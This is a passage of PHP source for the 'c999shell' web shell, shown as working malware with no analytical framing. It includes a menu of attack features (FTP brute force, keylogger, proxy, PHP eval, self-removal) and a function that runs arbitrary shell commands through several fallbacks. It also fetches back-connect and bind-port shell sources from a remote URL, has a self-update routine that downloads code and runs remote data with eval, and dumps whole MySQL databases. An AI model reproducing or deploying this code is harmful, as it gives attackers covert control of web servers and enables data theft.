  4518.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  4519.  array("<b>Tools</b>",$surl."act=tools&d=%d"),
  4520.  array("<b>Processes</b>",$surl."act=processes&d=%d"),
  4521.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  4522.  array("<b>Server Security</b>",$surl."act=security&d=%d"),
  4523.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  4524.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  4525.  array("<b>Proxy</b>","?proxy=true"),
  4526.  array("<b>Keylogger</b>","?keylogger=true"),
  4527.  array("<b>Self remove</b>",$surl."act=selfremove")
  4528. );
  4529.  
  4530. //Highlight-code colors
  4531. $highlight_background = "#c0c0c0";
  4532. $highlight_bg = "#FFFFFF";
  4533. $highlight_comment = "#6A6A6A";
  4534. $highlight_default = "#0000BB";
  4535. $highlight_html = "#1300FF";
  4536. $highlight_keyword = "#007700";
  4537. $highlight_string = "#000000";
  4538.  
  4539. @$f = $_REQUEST["f"];
  4540. @extract($_REQUEST["c999shcook"]);
  4541.  
  4542. //END CONFIGURATION
  4543.  
  4544.  
  4545.  
  4546.  
  4547.  
  4548. // \/Next code isn't for editing\/
  4549. @set_time_limit(0);
  4550. $tmp = array();
  4551. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  4552. $s = "!^(".implode("|",$tmp).")$!i";
  4553. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Shell Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  4554. if (!empty($login))
  4555. {
  4556.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  4557.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  4558.  {
  4559.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  4560.   header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");
  4561.   header("HTTP/1.0 401 Unauthorized");
  4562.   exit($accessdeniedmess);
  4563.  }
  4564. }
  4565.  
  4566.  
  4567. if ($act != "img")
  4568. {
  4569.  
  4570. $lastdir = realpath(".");
  4571. chdir($curdir);
  4572. if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;}
  4573. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  4574. if (!is_array($sess_data)) {$sess_data = array();}
  4575. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  4576. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  4577.  
  4578. $disablefunc = @ini_get("disable_functions");
  4579. if (!empty($disablefunc))
  4580. {
  4581.  $disablefunc = str_replace(" ","",$disablefunc);
  4582.  $disablefunc = explode(",",$disablefunc);
  4583. }
  4584.  
  4585. if (!function_exists("c999_buff_prepare"))
  4586. {
  4587. function c999_buff_prepare()
  4588. {
  4589.  global $sess_data;
  4590.  global $act;
  4591.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  4592.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  4593.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  4594.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  4595.  sort($sess_data["copy"]);
  4596.  sort($sess_data["cut"]);
  4597.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  4598.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  4599. }
  4600.  
  4601.  
  4602.  
  4603.  
  4604.  
  4605. }
  4606. c999_buff_prepare();
  4607. if (!function_exists("c999_sess_put"))
  4608. {
  4609. function c999_sess_put($data)
  4610. {
  4611.  global $sess_cookie;
  4612.  global $sess_data;
  4613.  c999_buff_prepare();
  4614.  $sess_data = $data;
  4615.  $data = serialize($data);
  4616.  setcookie($sess_cookie,$data);
  4617. }
  4618. }
  4619. foreach (array("sort","sql_sort") as $v)
  4620. {
  4621.  if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  4622.  if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  4623. }
  4624. if ($sort_save)
  4625. {
  4626.  if (!empty($sort)) {setcookie("sort",$sort);}
  4627.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  4628. }
  4629. if (!function_exists("str2mini"))
  4630. {
  4631. function str2mini($content,$len)
  4632. {
  4633.  if (strlen($content) > $len)
  4634.  {
  4635.   $len = ceil($len/2) - 2;
  4636.   return substr($content, 0,$len)."...".substr($content,-$len);
  4637.  }
  4638.  else {return $content;}
  4639. }
  4640. }
  4641. if (!function_exists("view_size"))
  4642. {
  4643. function view_size($size)
  4644. {
  4645.  if (!is_numeric($size)) {return FALSE;}
  4646.  else
  4647.  {
  4648.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  4649.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  4650.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  4651.   else {$size = $size . " B";}
  4652.   return $size;
  4653.  }
  4654. }
  4655. }
  4656. if (!function_exists("fs_copy_dir"))
  4657. {
  4658. function fs_copy_dir($d,$t)
  4659. {
  4660.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  4661.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  4662.  $h = opendir($d);
  4663.  while (($o = readdir($h)) !== FALSE)
  4664.  {
  4665.   if (($o != ".") and ($o != ".."))
  4666.   {
  4667.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  4668.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  4669.    if (!$ret) {return $ret;}
  4670.   }
  4671.  }
  4672.  closedir($h);
  4673.  return TRUE;
  4674. }
  4675. }
  4676. if (!function_exists("fs_copy_obj"))
  4677. {
  4678. function fs_copy_obj($d,$t)
  4679. {
  4680.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  4681.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  4682.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  4683.  if (is_dir($d))
  4684.  {
  4685.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  4686.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  4687.   return fs_copy_dir($d,$t);
  4688.  }
  4689.  elseif (is_file($d)) {return copy($d,$t);}
  4690.  else {return FALSE;}
  4691. }
  4692. }
  4693. if (!function_exists("fs_move_dir"))
  4694. {
  4695. function fs_move_dir($d,$t)
  4696. {
  4697.  $h = opendir($d);
  4698.  if (!is_dir($t)) {mkdir($t);}
  4699.  while (($o = readdir($h)) !== FALSE)
  4700.  {
  4701.   if (($o != ".") and ($o != ".."))
  4702.   {
  4703.    $ret = TRUE;
  4704.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  4705.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  4706.    if (!$ret) {return $ret;}
  4707.   }
  4708.  }
  4709.  closedir($h);
  4710.  return TRUE;
  4711. }
  4712. }
  4713. if (!function_exists("fs_move_obj"))
  4714. {
  4715. function fs_move_obj($d,$t)
  4716. {
  4717.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  4718.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  4719.  if (is_dir($d))
  4720.  {
  4721.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  4722.   if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  4723.   return fs_move_dir($d,$t);
  4724.  }
  4725.  elseif (is_file($d))
  4726.  {
  4727.   if(copy($d,$t)) {return unlink($d);}
  4728.   else {unlink($t); return FALSE;}
  4729.  }
  4730.  else {return FALSE;}
  4731. }
  4732. }
  4733. if (!function_exists("fs_rmdir"))
  4734. {
  4735. function fs_rmdir($d)
  4736. {
  4737.  $h = opendir($d);
  4738.  while (($o = readdir($h)) !== FALSE)
  4739.  {
  4740.   if (($o != ".") and ($o != ".."))
  4741.   {
  4742.    if (!is_dir($d.$o)) {unlink($d.$o);}
  4743.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  4744.   }
  4745.  }
  4746.  closedir($h);
  4747.  rmdir($d);
  4748.  return !is_dir($d);
  4749. }
  4750. }
  4751. if (!function_exists("fs_rmobj"))
  4752. {
  4753. function fs_rmobj($o)
  4754. {
  4755.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  4756.  if (is_dir($o))
  4757.  {
  4758.   if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  4759.   return fs_rmdir($o);
  4760.  }
  4761.  elseif (is_file($o)) {return unlink($o);}
  4762.  else {return FALSE;}
  4763. }
  4764. }
  4765. if (!function_exists("myshellexec"))
  4766. {
  4767. function myshellexec($cmd)
  4768. {
  4769.  global $disablefunc;
  4770.  $result = "";
  4771.  if (!empty($cmd))
  4772.  {
  4773.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  4774.   elseif (($result = `$cmd`) !== FALSE) {}
  4775.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  4776.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  4777.   elseif (is_resource($fp = popen($cmd,"r")))
  4778.   {
  4779.    $result = "";
  4780.    while(!feof($fp)) {$result .= fread($fp,1024);}
  4781.    pclose($fp);
  4782.   }
  4783.  }
  4784.  return $result;
  4785. }
  4786. }
  4787. if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  4788. if (!function_exists("view_perms"))
  4789. {
  4790. function view_perms($mode)
  4791. {
  4792.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  4793.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  4794.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  4795.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  4796.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  4797.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  4798.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  4799.  else {$type = "?";}
  4800.  
  4801.  $owner["read"] = ($mode & 00400)?"r":"-";
  4802.  $owner["write"] = ($mode & 00200)?"w":"-";
  4803.  $owner["execute"] = ($mode & 00100)?"x":"-";
  4804.  $group["read"] = ($mode & 00040)?"r":"-";
  4805.  $group["write"] = ($mode & 00020)?"w":"-";
  4806.  $group["execute"] = ($mode & 00010)?"x":"-";
  4807.  $world["read"] = ($mode & 00004)?"r":"-";
  4808.  $world["write"] = ($mode & 00002)? "w":"-";
  4809.  $world["execute"] = ($mode & 00001)?"x":"-";
  4810.  
  4811.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  4812.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  4813.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  4814.  
  4815.  return $type.join("",$owner).join("",$group).join("",$world);
  4816. }
  4817. }
  4818. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  4819. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  4820. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  4821. if (!function_exists("parse_perms"))
  4822. {
  4823. function parse_perms($mode)
  4824. {
  4825.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  4826.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  4827.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  4828.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  4829.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  4830.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  4831.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  4832.  else {$t = "?";}
  4833.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  4834.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  4835.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  4836.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  4837. }
  4838. }
  4839. if (!function_exists("parsesort"))
  4840. {
  4841. function parsesort($sort)
  4842. {
  4843.  $one = intval($sort);
  4844.  $second = substr($sort,-1);
  4845.  if ($second != "d") {$second = "a";}
  4846.  return array($one,$second);
  4847. }
  4848. }
  4849. if (!function_exists("view_perms_color"))
  4850. {
  4851. function view_perms_color($o)
  4852. {
  4853.  if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  4854.  elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  4855.  else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  4856. }
  4857. }
  4858. if (!function_exists("c999getsource"))
  4859. {
  4860. function c999getsource($fn)
  4861. {
  4862.  global $c999sh_sourcesurl;
  4863.  $array = array(
  4864.   "c999sh_bindport.pl" => "c999sh_bindport_pl.txt",
  4865.   "c999sh_bindport.c" => "c999sh_bindport_c.txt",
  4866.   "c999sh_backconn.pl" => "c999sh_backconn_pl.txt",
  4867.   "c999sh_backconn.c" => "c999sh_backconn_c.txt",
  4868.   "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",
  4869.   "c999sh_datapipe.c" => "c999sh_datapipe_c.txt",
  4870.  );
  4871.  $name = $array[$fn];
  4872.  if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}
  4873.  else {return FALSE;}
  4874. }
  4875. }
  4876. if (!function_exists("c999sh_getupdate"))
  4877. {
  4878. function c999sh_getupdate($update = TRUE)
  4879. {
  4880.  $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  4881.  $data = @file_get_contents($url);
  4882.  if (!$data) {return "Can't connect to update-server!";}
  4883.  else
  4884.  {
  4885.   $data = ltrim($data);
  4886.   $string = substr($data,3,ord($data{2}));
  4887.   if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  4888.   if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  4889.   if ($data{0} == "\x99" and $data{1} == "\x03")
  4890.   {
  4891.    $string = explode("\x01",$string);
  4892.    if ($update)
  4893.    {
  4894.     $confvars = array();
  4895.     $sourceurl = $string[0];
  4896.     $source = file_get_contents($sourceurl);
  4897.     if (!$source) {return "Can't fetch update!";}
  4898.     else
  4899.     {
  4900.      $fp = fopen(__FILE__,"w");
  4901.      if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  4902.      else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  4903.     }
  4904.    }
  4905.    else {return "New version are available: ".$string[1];}
  4906.   }
  4907.   elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  4908.   else {return "Error in protocol: segmentation failed! (".$data.") ";}
  4909.  }
  4910. }
  4911. }
  4912. if (!function_exists("mysql_dump"))
  4913. {
  4914. function mysql_dump($set)
  4915. {
  4916.  global $shver;
  4917.  $sock = $set["sock"];
  4918.  $db = $set["db"];
  4919.  $print = $set["print"];
  4920.  $nl2br = $set["nl2br"];
  4921.  $file = $set["file"];
  4922.  $add_drop = $set["add_drop"];
  4923.  $tabs = $set["tabs"];
  4924.  $onlytabs = $set["onlytabs"];
  4925.  $ret = array();
  4926.  $ret["err"] = array();
  4927.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  4928.  if (empty($db)) {$db = "db";}
  4929.  if (empty($print)) {$print = 0;}
  4930.  if (empty($nl2br)) {$nl2br = 0;}
  4931.  if (empty($add_drop)) {$add_drop = TRUE;}
  4932.  if (empty($file))
  4933.  {
  4934.   $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  4935.  }
  4936.  if (!is_array($tabs)) {$tabs = array();}
  4937.  if (empty($add_drop)) {$add_drop = TRUE;}
  4938.  if (sizeof($tabs) == 0)
  4939.  {
  4940.   // retrive tables-list
  4941.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  4942.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  4943.  }
  4944.  $out = "# Dumped by c999Shell.SQL v. ".$shver."
  4945. #
  4946. # Host settings:
  4947. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  4948. # Date: ".date("d.m.Y H:i:s")."
  4949. # DB: \"".$db."\"
  4950. #---------------------------------------------------------
  4951. ";
  4952.  $c = count($onlytabs);
  4953.  foreach($tabs as $tab)
  4954.  {
  4955.   if ((in_array($tab,$onlytabs)) or (!$c))
  4956.   {
  4957.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  4958.    // recieve query for create table structure
  4959.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  4960.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  4961.    else
  4962.    {
  4963.     $row = mysql_fetch_row($res);
  4964.     $out .= $row["1"].";\n\n";
  4965.     // recieve table variables
  4966.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  4967.     if (mysql_num_rows($res) > 0)
  4968.     {
  4969.      while ($row = mysql_fetch_assoc($res))
  4970.      {
  4971.       $keys = implode("`, `", array_keys($row));
  4972.       $values = array_values($row);
  4973.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  4974.       $values = implode("', '", $values);
  4975.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  4976.       $out .= $sql;
  4977.      }
  4978.     }
  4979.    }
  4980.   }
  4981.  }
  4982.  $out .= "#---------------------------------------------------------------------------------\n\n";
  4983.  if ($file)
  4984.  {
  4985.   $fp = fopen($file, "w");
  4986.   if (!$fp) {$ret["err"][] = 2;}
  4987.   else
  4988.   {
  4989.    fwrite ($fp, $out);
  4990.    fclose ($fp);
  4991.   }
  4992.  }
  4993.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  4994.  return $out;
  4995. }
  4996. }
  4997. if (!function_exists("mysql_buildwhere"))
  4998. {
  4999. function mysql_buildwhere($array,$sep=" and",$functs=array())
  5000. {
  5001.  if (!is_array($array)) {$array = array();}
  5002.  $result = "";
  5003.  foreach($array as $k=>$v)
  5004.  {
  5005.   $value = "";
  5006.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  5007.   $value .= "'".addslashes($v)."'";
  5008.   if (!empty($functs[$k])) {$value .= ")";}
  5009.   $result .= "`".$k."` = ".$value.$sep;
  5010.  }
  5011.  $result = substr($result,0,strlen($result)-strlen($sep));
  5012.  return $result;
  5013. }
  5014. }
  5015. if (!function_exists("mysql_fetch_all"))
  5016. {
  5017. function mysql_fetch_all($query,$sock)
  5018. {
  5019.  if ($sock) {$result = mysql_query($query,$sock);}
  5020.  else {$result = mysql_query($query);}
  5021.  $array = array();
  5022.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  5023.  mysql_free_result($result);
  5024.  return $array;
  5025. }
  5026. }
  5027. if (!function_exists("mysql_smarterror"))
  5028. {
  5029. function mysql_smarterror($type,$sock)
  5030. {
  5031.  if ($sock) {$error = mysql_error($sock);}
  5032.  else {$error = mysql_error();}
  5033.  $error = htmlspecialchars($error);
  5034.  return $error;
  5035. }
  5036. }
  5037. if (!function_exists("mysql_query_form"))
  5038. {
  5039. function mysql_query_form()
  5040. {
  5041.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  5042.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  5043.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  5044.  if ((!$submit) or ($sql_act))
  5045.  {
  5046.   echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  5047.   if ($tbl_struct)
  5048.   {
  5049.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  5050.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  5051.    echo "</td></tr></table>";
  5052.   }
  5053.  }
  5054.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  5055. }
  5056. }
  5057. if (!function_exists("mysql_create_db"))
  5058. {
  5059. function mysql_create_db($db,$sock="")
  5060. {
  5061.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  5062.  if ($sock) {return mysql_query($sql,$sock);}
  5063.  else {return mysql_query($sql);}
  5064. }
  5065. }
  5066. if (!function_exists("mysql_query_parse"))
  5067. {
  5068. function mysql_query_parse($query)
  5069. {
  5070.  $query = trim($query);
  5071.  $arr = explode (" ",$query);
  5072.  /*array array()
  5073.  {
  5074.   "METHOD"=>array(output_type),
  5075.   "METHOD1"...
  5076.   ...
  5077.  }
  5078.  if output_type == 0, no output,
  5079.  if output_type == 1, no output if no error
  5080.  if output_type == 2, output without control-buttons
  5081.  if output_type == 3, output with control-buttons
  5082.  */
  5083.  $types = array(
  5084.   "SELECT"=>array(3,1),
  5085.   "SHOW"=>array(2,1),
  5086.   "DELETE"=>array(1),
  5087.   "DROP"=>array(1)
  5088.  );
  5089.  $result = array();
  5090.  $op = strtoupper($arr[0]);
  5091.  if (is_array($types[$op]))
  5092.  {
  5093.   $result["propertions"] = $types[$op];
  5094.   $result["query"]  = $query;
  5095.   if ($types[$op] == 2)
  5096.   {
  5097.    foreach($arr as $k=>$v)
  5098.    {
  5099.     if (strtoupper($v) == "LIMIT")
  5100.     {
  5101.      $result["limit"] = $arr[$k+1];
  5102.      $result["limit"] = explode(",",$result["limit"]);
  5103.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  5104.      unset($arr[$k],$arr[$k+1]);
  5105.     }
  5106.    }
  5107.   }
  5108.  }
  5109.  else {return FALSE;}
  5110. }
  5111. }
  5112. if (!function_exists("c999fsearch"))
  5113. {
  5114. function c999fsearch($d)
  5115. {
  5116.  global $found;
  5117.  global $found_d;
  5118.  global $found_f;
  5119.  global $search_i_f;
  5120.  global $search_i_d;
  5121.  global $a;
  5122.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  5123.  $h = opendir($d);
  5124.  while (($f = readdir($h)) !== FALSE)
  5125.  {
  5126.   if($f != "." && $f != "..")
  5127.   {
  5128.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  5129.    if (is_dir($d.$f))
  5130.    {
  5131.     $search_i_d++;
  5132.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  5133.     if (!is_link($d.$f)) {c999fsearch($d.$f);}
  5134.    }
  5135.    else
  5136.    {
  5137.     $search_i_f++;
  5138.     if ($bool)
  5139.     {
  5140.      if (!empty($a["text"]))
  5141.      {
  5142.       $r = @file_get_contents($d.$f);
  5143.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  5144.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  5145.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  5146.       else {$bool = strpos(" ".$r,$a["text"],1);}
  5147.       if ($a["text_not"]) {$bool = !$bool;}
  5148.       if ($bool) {$found[] = $d.$f; $found_f++;}
  5149.      }
  5150.      else {$found[] = $d.$f; $found_f++;}
  5151.     }
  5152.    }
  5153.   }
  5154.  }
  5155.  closedir($h);
  5156. }
  5157. }
  5158. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  5159. //Sending headers
  5160. @ob_start();
  5161. @ob_implicit_flush(0);
  5162. function onphpshutdown()
  5163. {
  5164.  global $gzipencode,$ft;
  5165.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  5166.  {
  5167.   $v = @ob_get_contents();
  5168.   @ob_end_clean();
  5169.   @ob_start("ob_gzHandler");
  5170.   echo $v;
  5171.   @ob_end_flush();
  5172.  }
  5173. }
  5174. function c999shexit()
  5175. {
  5176.  onphpshutdown();
  5177.  exit;
  5178. }
  5179. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  5180. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  5181. header("Cache-Control: no-store, no-cache, must-revalidate");
  5182. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  5183. header("Pragma: no-cache");
  5184. if (empty($tmpdir))
  5185. {
  5186.  $tmpdir = ini_get("upload_tmp_dir");
  5187.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  5188. }
  5189. $tmpdir = realpath($tmpdir);
  5190. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  5191. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  5192. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  5193. else {$tmpdir_logs = realpath($tmpdir_logs);}
  5194. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  5195. {
  5196.  $safemode = TRUE;
  5197.  $hsafemode = "<font color=red>ON (secure)</font>";
  5198. }
  5199. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  5200. $v = @ini_get("open_basedir");
  5201. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  5202. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  5203. $sort = htmlspecialchars($sort);
  5204. if (empty($sort)) {$sort = $sort_default;}
  5205. $sort[1] = strtolower($sort[1]);
  5206. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  5207. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  5208. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  5209. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  5210. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  5211. @ini_set("highlight.default",$highlight_default); //#0000BB
  5212. @ini_set("highlight.html",$highlight_html); //#000000
  5213. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  5214. @ini_set("highlight.string",$highlight_string); //#DD0000
  5215. if (!is_array($actbox)) {$actbox = array();}
  5216. $dspact = $act = htmlspecialchars($act);
  5217. $disp_fullpath = $ls_arr = $notls = null;
  5218. $ud = urlencode($d);
